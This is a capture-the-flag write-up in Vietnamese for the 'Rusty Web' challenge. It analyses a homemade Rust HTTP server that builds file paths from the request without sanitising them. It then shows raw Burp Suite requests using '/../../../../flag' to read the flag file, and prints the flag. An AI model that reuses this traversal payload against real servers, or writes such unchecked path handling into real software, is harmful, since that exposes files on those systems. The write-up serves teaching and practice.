Description
RecruitCTF - Rusty Web
Take a look at my homemade web server. I’m sorry it’s a bit rusty.
Approach
Dockerfile:
FROM rust:1.76
WORKDIR /usr/src/rusty_web
COPY . .
RUN mv flag /
RUN cargo build --release
EXPOSE 8000
RUN chmod +x entrypoint.sh
ENTRYPOINT ["./entrypoint.sh"]
Có thể thấy, file flag nằm ở thư mục /
.
Docker compose file:
version: '3.8'
services:
app:
build: .
ports:
- "8000:8000"
restart: unless-stopped
Chạy container, trang web có dạng như sau:
Mã nguồn của file src/main.rs
:
use std::io::{BufRead, Write};
fn main() {
let listener = std::net::TcpListener::bind("0.0.0.0:8000").unwrap();
for mut stream in listener.incoming().flatten() {
let mut rdr = std::io::BufReader::new(&mut stream);
let mut l = String::new();
rdr.read_line(&mut l).unwrap();
match l.trim().split(' ').collect::<Vec<_>>().as_slice() {
["GET", resource, "HTTP/1.1"] => {
loop {
let mut l = String::new();
rdr.read_line(&mut l).unwrap();
if l.trim().is_empty() {
break;
}
}
let mut p = std::path::PathBuf::new();
p.push("public");
p.push(resource.trim_start_matches('/'));
if resource.ends_with('/') {
p.push("index.html")
}
stream.write_all(b"HTTP/1.1 200 OK\r\n\r\n").unwrap();
stream
.write_all(
&std::fs::read(if p.exists() {
p
} else {
std::path::PathBuf::from("public/error/index.html")
})
.unwrap(),
)
.unwrap();
}
_ => (),
}
}
}
Phân tích mã nguồn:
Vòng lặp for mut stream in listener.incoming().flatten()
dùng để xử lý các request.
Dòng ["GET", resource, "HTTP/1.1"]
cho biết server sẽ xử lý các GET request với version là HTTP/1.1.
Biến resource
được dùng để build path như sau:
let mut p = std::path::PathBuf::new();
p.push("public");
p.push(resource.trim_start_matches('/'));
if resource.ends_with('/') {
p.push("index.html")
}
Có thể thấy, path của file có dạng "public" + resouce
. Nếu path có /
ở đầu thì sẽ bỏ và nếu path có /
ở cuối thì sẽ thêm vào index.html
.
Biến p
sau đó được kiểm tra xem có tồn tại hay không. Nếu có thì trả về cho client, nếu không thì trả về file public/error/index.html
:
stream
.write_all(
&std::fs::read(if p.exists() {
p
} else {
std::path::PathBuf::from("public/error/index.html")
})
.unwrap(),
)
.unwrap();
Đường dẫn của flag từ thư mục public
sẽ là:
../../../../flag
Lý do là vì working directory là /usr/src/rusty_web
(có trong Dockerfile).
Capture request đến endpoint /
bằng BurpSuite:
GET / HTTP/1.1
Host: blackpinker.rocks:30354
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Thay path thành đường dẫn trên:
GET /../../../../flag HTTP/1.1
Host: blackpinker.rocks:30354
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Note
Nhập
../../../../flag
vào URL của trình duyệt thì nó sẽ tự động bỏ chuỗi../
nên không dùng trình duyệt.
Response trả về:
HTTP/1.1 200 OK
BPCTF{0ld3st_tr1ck_1n_th3_b00k_e601b39002bb}
Flag
Success
BPCTF{0ld3st_tr1ck_1n_th3_b00k_e601b39002bb}